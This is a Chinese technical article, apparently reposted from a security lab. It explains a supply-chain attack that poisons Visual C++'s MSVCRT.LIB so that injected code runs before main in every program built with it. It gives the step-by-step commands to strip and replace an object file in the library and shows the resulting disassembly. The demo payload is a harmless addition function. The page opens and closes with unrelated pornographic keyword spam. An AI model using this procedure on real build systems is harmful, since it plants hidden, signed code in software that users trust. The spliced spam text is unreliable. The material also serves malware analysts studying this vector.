在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

MSVCRT.LIB技術的實現細節介紹

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-04-15 10:28 ? 次閱讀

1. 序言

供應鏈攻擊是一種傳播間諜軟件的方式,一般通過產品軟件官網或軟件包存儲庫進行傳播。通常來說,黑客會瞄準部署知名軟件官網的服務器,篡改服務器上供普通用戶下載的軟件源代碼,將間諜軟件傳播給前往官網下載軟件的用戶。在實施攻擊時,有一種方式是通過污染上游廠商的編譯環境來攜帶攻擊者的惡意載荷。

在污染編譯環境時,對污染文件的選擇上,需要關注兩個重點,第一,要確保被污染分代碼能夠被編譯進目標程序,第二,需要足夠隱蔽,防止被安全工具檢測到。在Windows環境下,通過替換MSVC的C標準運行庫的方式可以同時達到上訴兩種要求,下面詳細介紹該技術的實現細節。

2. 環境與工具

靶場Windows靶機

任意版本visualstudio

MSVC組件

3. MSVC組件

MSVC全稱Microsoft Visual C++,是微軟公司的免費C++開發工具,具有集成開發環境,可提供編輯C語言,C++以及C++/CLI等編程語言。VC++集成了便利的除錯工具,特別是集成了微軟Windows視窗操作系統應用程序接口(Windows API)、三維動畫DirectX API,Microsoft .NET框架。可以通過打開Visual Studio Installer查看MSVC組件文件目錄,需要污染的C標準運行庫就是在該目錄下。

e0fe2cc6-dab8-11ed-bfe3-dac502259ad0.png

MSVC有多個版本,可以通過設置中的平臺工具集確認自己當前使用的版本,由于筆者當前使用的版本是v143,即14.3。

e1332ce6-dab8-11ed-bfe3-dac502259ad0.png

4. C標準運行庫-MSVCRT.LIB

1. 什么是MSVCRT.LIB

Visual Studio使用的CRT靜態庫文件為MSVCRT.LIB,CRT全程為C runtime Library,意義為Windows的C標準運行庫,初始CRT的代碼位于多個庫文件中,大多數軟件發布時使用運行庫的動態多線程RELEASE版本,該種方式在編譯時需要用到MSVCRT.LIB。

e1594da4-dab8-11ed-bfe3-dac502259ad0.png圖:MSVC的CRT初始化庫

如果對程序進行調試,觀察程序的調用堆棧,會發現程序并非是從編寫的main函數開始執行的,這是因為開發者編寫C代碼時,入口點雖然為main函數,但是在程序運行時,程序真正的入口點為mainCRTStartup函數,在編譯時會將MSVCRT.LIB的內容鏈接到開發者自定義代碼之前。

e1771546-dab8-11ed-bfe3-dac502259ad0.png

2. MSVCRT.LIB的路徑

上文中,我們介紹過MSVC組件的路徑,并確定使用的版本為14.3,MSVCRT.LIB文件及其源碼均在該目錄下。源碼文件在crtsrcvcruntime中,MSVCRT.LIB在lib文件下存在多種版本,本文使用x86下的MSVCRT.LIB進行演示。

e1a214a8-dab8-11ed-bfe3-dac502259ad0.png

3. 程序的執行流程

在程序運行時,真正的入口點為mainCRTStartup函數,該程序被定義在exe_main.cpp中,其源碼如下。

#define_SCRT_STARTUP_MAIN
#include"exe_common.inl"
extern"C"DWORD mainCRTStartup(LPVOID)
{
return__scrt_common_main();
}

可以看到mainCRTStartup調用了scrt_common_main,根據include我們可以知道scrt_common_main被定義在了exe_common.inl中,exe_common.inl的部分代碼如下。

static__declspec(noinline) int__cdecl __scrt_common_main_seh()
{
if(!__scrt_initialize_crt(__scrt_module_type::exe))
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);

boolhas_cctor = false;
__try
{
boolconstis_nested = __scrt_acquire_startup_lock();

if(__scrt_current_native_startup_state == __scrt_native_startup_state::initializing)
{
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);
}
elseif(__scrt_current_native_startup_state == __scrt_native_startup_state::uninitialized)
{
__scrt_current_native_startup_state = __scrt_native_startup_state::initializing;

if(_initterm_e(__xi_a, __xi_z) != 0)
return255;

_initterm(__xc_a, __xc_z);

__scrt_current_native_startup_state = __scrt_native_startup_state::initialized;
}
else
{
has_cctor = true;
}

__scrt_release_startup_lock(is_nested);

// If this module has any dynamically initialized __declspec(thread)
// variables, then we invoke their initialization for the primary thread
// used to start the process:
_tls_callback_type const* consttls_init_callback = __scrt_get_dyn_tls_init_callback();
if(*tls_init_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_init_callback))
{
(*tls_init_callback)(nullptr, DLL_THREAD_ATTACH, nullptr);
}

// If this module has any thread-local destructors, register the
// callback function with the Unified CRT to run on exit.
_tls_callback_type const* consttls_dtor_callback = __scrt_get_dyn_tls_dtor_callback();
if(*tls_dtor_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_dtor_callback))
{
_register_thread_local_exe_atexit_callback(*tls_dtor_callback);
}

//
// Initialization is complete; invoke main...
//

intconstmain_result = invoke_main();

//
// main has returned; exit somehow...
//

if(!__scrt_is_managed_app())
exit(main_result);

if(!has_cctor)
_cexit();

// Finally, we terminate the CRT:
__scrt_uninitialize_crt(true, false);
returnmain_result;
}
__except (_seh_filter_exe(GetExceptionCode(), GetExceptionInformation()))
{
// Note:We should never reach this except clause.
intconstmain_result = GetExceptionCode();

if(!__scrt_is_managed_app())
_exit(main_result);

if(!has_cctor)
_c_exit();

returnmain_result;
}
}



// This is the common main implementation to which all of the CRT main functions
// delegate (for executables; DLLs are handled separately).
static__forceinline int__cdecl __scrt_common_main()
{
// The /GS security cookie must be initialized before any exception handling
// targeting the current image is registered. No function using exception
// handling can be called in the current image until after this call:
__security_init_cookie();

return__scrt_common_main_seh();
}

觀察源碼我們可以看到scrt_common_main中調用了安全cookie與scrt_common_main_seh,scrt_common_main_seh中通過invoke_main到達用戶定義的main函數,其調用如下圖所示。

e1d3847a-dab8-11ed-bfe3-dac502259ad0.png

上訴內容執行早于main函數,所以污染MSVCRT.LIB文件可以確保注入的代碼必然被執行,又因上訴函數調用非敏感函數,通常安全工具不會對其進行檢測,因此保證了隱蔽性。

5. 編譯環境污染

1. 文件編譯

在源碼中,我們挑選一個文件進行代碼注入,本文選擇dyn_tls_init.c進行演示,dyn_tls_init.c的源碼如下。

//
// dyn_tls_init.c
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// This source file provides a fallback definition of __dyn_tls_init_callback,
// used whenever TLS initialization is not required.
//
// This relies on a feature of the C compiler known as "communal variables."
// This does not work in C++, and the linker's alternatename features is not
// sufficient here.
//
#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;

PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
return&__dyn_tls_init_callback;
}

添加一些自定義代碼

#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;
add(intx,inty){
returnx + y;
}
PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
intx = 1;
inty = 2;
intz = add(x, y);
return&__dyn_tls_init_callback;
}

關閉編譯優化選項,此過程不可省略,CTRL+F7編譯;

e20fdd3a-dab8-11ed-bfe3-dac502259ad0.png

將編譯好的obj文件拷貝出來。

e2197fb6-dab8-11ed-bfe3-dac502259ad0.png

2. 清理原始obj

obj文件就是c文件編譯之后產生的一種文件,一個c文件編譯之后只會產生一個obj文件,一個lib文件是obj文件的集合,當然,其中還夾雜著其他一些輔助信息,目的是為了讓編譯器能夠準確找到對應的obj文件,這些文件一起通過AR打包。我們需要找到這些輔助信息完成LIB文件中obj目標文件的替換。obj文件可以利用類似7z工具進行解包,解壓后如下。

e24ca242-dab8-11ed-bfe3-dac502259ad0.png

在目錄中有兩個文本文件,里面記錄了obj文件對應信息,搜索dyn_tls_init.obj,搜索到D:a_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj,該值為dyn_tls_init.obj打包時文件的路徑。刪除MSVCRT.LIB文件中dyn_tls_init.obj的相關信息,刪除obj需要link.exe工具,該工具在MSVC的bin目錄下,刪除指令如下。

link-lib"XX:XXXmsvcrt.lib" -remove:D:a\_work1sIntermediatecrtvcstartupbuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj

3. 寫入新編譯obj

在清理完原始obj文件后,將新編譯好的obj文件寫入lib文件,解壓lib文件后,可以發現除了文本文件外,還有一個文件夾名為D_,該文件夾代表obj文件打包前所在的磁盤盤符,也就是D盤。在通過MSVC的工具進行打包時,會根據obj所在路徑創建對應的文件,并將obj的路徑記錄到里面的文本文件中。也就是說新編譯好的文件不需要與原始obj文件在相同目錄下,但是為了看起來更加完美,建議根據文本文件中的地址為編譯好的obj文件創建相同的路徑。寫入lib文件需要用到lib.exe工具,使用指令如下。

lib "XX:XXXmsvcrt.lib""D:a\_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj”

寫入obj后,新建一個C/C++的項目,隨意編寫一些代碼。

e2771db0-dab8-11ed-bfe3-dac502259ad0.png

編譯后使用反匯編工具查看main之前的代碼,發現寫入dyn_tls_init.obj的功能已經被編譯到工程中,反匯編代碼如下。

call___scrt_release_startup_lock
pop ecx
callsub_401CD0
mov esi, eax
xoredi, edi
cmp [esi], edi
jz shortloc_401783
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_401783
mov esi, [esi]
push edi
push 2
push edi
mov ecx, esi
callds:___guard_check_icall_fptr
callesi
callsub_401D0B
mov esi, eax
cmp [esi], edi
jz shortloc_4017A1
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_4017A1
push dword ptr [esi] ; Callback
call_register_thread_local_exe_atexit_callback
pop ecx
call_get_initial_narrow_environment
mov edi, eax
call__p___argv
mov esi, [eax]
call__p___argc
push edi ; envp
push esi ; argv
push dword ptr [eax] ; argc
call_main
##注入的內容
#sub_401CD0
pushebp
movebp, esp
subesp, 0Ch
mov[ebp+var_8], 1
mov[ebp+var_4], 2
moveax, [ebp+var_4]
pusheax
movecx, [ebp+var_8]
pushecx
callsub_401D00
addesp, 8
mov[ebp+var_C], eax
moveax, offsetunk_405380
movesp, ebp
popebp
retn
#sub_401D00
pushebp
movebp, esp
moveax, [ebp+arg_0]
addeax, [ebp+arg_4]
popebp
retn
endp

6. 總結

通過上訴例子可以看出,污染CRT靜態庫文件的方式簡單易用,且具有很高的隱蔽性,當攻陷對方編譯服務器時,該方式危害極大,因其與源碼一同被編譯到項目中,會攜帶合法簽名。希望在大家在了解其工作原理后,不僅收獲了一種新的代碼劫持技能,在分析惡意軟件時也多了一個思路。

丈八網安蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案以及靶場仿真復現等相關方向。團隊核心成員均由從事安全行業10余年經驗的安全專家組成,團隊目前成員涉及紅藍對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關領域。





審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • CRT技術
    +關注

    關注

    0

    文章

    5

    瀏覽量

    6660
  • 匯編語言
    +關注

    關注

    14

    文章

    410

    瀏覽量

    35881
  • C++語言
    +關注

    關注

    0

    文章

    147

    瀏覽量

    7010
  • CLI
    CLI
    +關注

    關注

    1

    文章

    79

    瀏覽量

    8576

原文標題:供應鏈攻擊之編譯環境

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    巧用命令實現PG LIB的增量式生成

    Liberty(俗稱LIB和DB),是后端設計中重要的庫邏輯描述文件,這里邊包含了除過physical(當然也有一點點涉及)以外所有的信息,對整個后端設計實現有非常大的作用。
    的頭像 發表于 11-03 12:56 ?894次閱讀
    巧用命令<b class='flag-5'>實現</b>PG <b class='flag-5'>LIB</b>的增量式生成

    嵌入式系統設計時需要注意的技術要點和實現細節有哪些?

    為什么需要safe mode?嵌入式系統設計時需要注意的技術要點和實現細節有哪些?
    發表于 04-25 08:49

    分立器件的實現細節

    ?概述負載開關電路日常應用比較廣泛,主要用來控制后級負載的電源開關。此功能可以直接用IC也可以用分立器件搭建,分立器件主要用PMOS加三極管實現。本文主要討論分立器件的實現細節。電路分析如下圖所示R5模擬后級負載,Q1為開關,
    發表于 10-28 08:28

    Linux下的lib文件故障解決實例

    Linux下的lib文件故障解決實例
    發表于 09-11 08:48 ?4次下載
    Linux下的<b class='flag-5'>lib</b>文件故障解決實例

    時序分析基本概念介紹——時序庫Lib,除了這些你還想知道什么?

    時序分析基本概念介紹——時序庫Lib。用于描述物理單元的時序和功耗信息的重要庫文件。lib庫是最基本的時序庫,通常文件很大,分為兩個部分。
    的頭像 發表于 12-15 17:11 ?1.2w次閱讀
    時序分析基本概念<b class='flag-5'>介紹</b>——時序庫<b class='flag-5'>Lib</b>,除了這些你還想知道什么?

    Cadence小技巧:利用lib功能免除新ADE的設置

    Cadence小技巧有很多,今天就來介紹一種利用lib功能免除新ADE的設置的辦法。詳細的內容請看文章。
    的頭像 發表于 02-18 15:00 ?8313次閱讀
    Cadence小技巧:利用<b class='flag-5'>lib</b>功能免除新ADE的設置

    伯克利可擴展軟件交換機的細節介紹

    在這里,我們介紹了BESS的一些技術細節,然后演示了如何在30分鐘內實現自定義虛擬交換機。
    的頭像 發表于 10-30 06:05 ?3141次閱讀

    使用Lib實現24C02的程序資料免費下載

    本文檔的主要內容詳細介紹的是使用Lib實現24C02的程序資料免費下載
    發表于 05-06 17:11 ?12次下載
    使用<b class='flag-5'>Lib</b><b class='flag-5'>實現</b>24C02的程序資料免費下載

    keil和IAR中lib庫文件的生成和使用

    lib靜態庫的使用可以簡化項目開發流程,提高開發效率,本文詳細介紹了在keil和IAR環境下lib庫的生成和使用。
    發表于 12-03 11:51 ?15次下載
    keil和IAR中<b class='flag-5'>lib</b>庫文件的生成和使用

    lib-zjson C++版JSON庫

    ./oschina_soft/gitee-lib-zjson.zip
    發表于 06-17 09:58 ?0次下載
    <b class='flag-5'>lib</b>-zjson C++版JSON庫

    AN075 基于MDK實現Lib庫調用方案介紹

    AN075 基于MDK實現Lib庫調用方案介紹
    發表于 03-01 18:56 ?0次下載
    AN075 基于MDK<b class='flag-5'>實現</b>的<b class='flag-5'>Lib</b>庫調用方案<b class='flag-5'>介紹</b>

    時序分析基本概念介紹—時序庫Lib

    今天主要介紹的時序概念是時序庫lib,全稱liberty library format(以? lib結尾),
    的頭像 發表于 07-07 17:15 ?3206次閱讀
    時序分析基本概念<b class='flag-5'>介紹</b>—時序庫<b class='flag-5'>Lib</b>

    e2 studio創建lib文件及使用

    目錄 一、 簡介 二、 制作lib文件 三、 調用庫函數 四、 總結 一、簡介 工程師在開發過程中時常會因為各種原因,想要把部分代碼封裝成庫函數。e 2 studio自帶建立庫函數工程的功能,本文
    的頭像 發表于 07-12 12:05 ?1210次閱讀
    e2 studio創建<b class='flag-5'>lib</b>文件及使用

    介紹一種測試標準單元lib的方法

    不知道大家有沒有想過,拿到手一個標準單元的lib,它里面的那些參數是怎么得出來的?我們做出來的芯片成品,真的會按lib里描述的那樣,timing的值分毫不差嗎?
    的頭像 發表于 12-06 15:26 ?524次閱讀

    e2 studio創建lib文件及使用

    e2 studio創建lib文件及使用
    的頭像 發表于 01-18 08:06 ?525次閱讀
    e2 studio創建<b class='flag-5'>lib</b>文件及使用
    主站蜘蛛池模板: 亚洲精品第三页| 波多野结衣在线网站| 午夜黄色在线观看| 午夜视频在线观看完整高清在线| 日本免费黄色| 一 级 黄 中国色 片| www色.com| 美女视频很黄很暴黄是免费的| 亚洲一级毛片免观看| 亚洲国产激情在线一区| 乱小说录目伦800| japanesexxx日本69| 国产精品九九热| 神马午夜影视| 夜夜cao| 成人在线91| 国产在线精品美女观看| 你懂的网站在线观看网址| 色偷偷91久久综合噜噜噜噜| 亚洲jjzzjjzz在线观看| 一级毛片在线| 色综合网址| 精品噜噜噜噜久久久久久久久| 欧美午夜视频在线观看| 日本写真高清视频免费网站网| 欧美人与动性xxxxbbbb| 免费在线观看你懂的| 女人精aaaa片一级毛片女女| 国产亚洲精品线观看77| 国产成人优优影院| 国产免费高清福利拍拍拍| 黄色三级网站免费| 182福利视频| 天天做天天爱天天做天天吃中| 新天堂网| 午色影院| 欧美午夜网| 久久精品国产99精品国产2021 | 1024人成软件色www| 91在线视频免费| 亚洲天堂电影在线观看|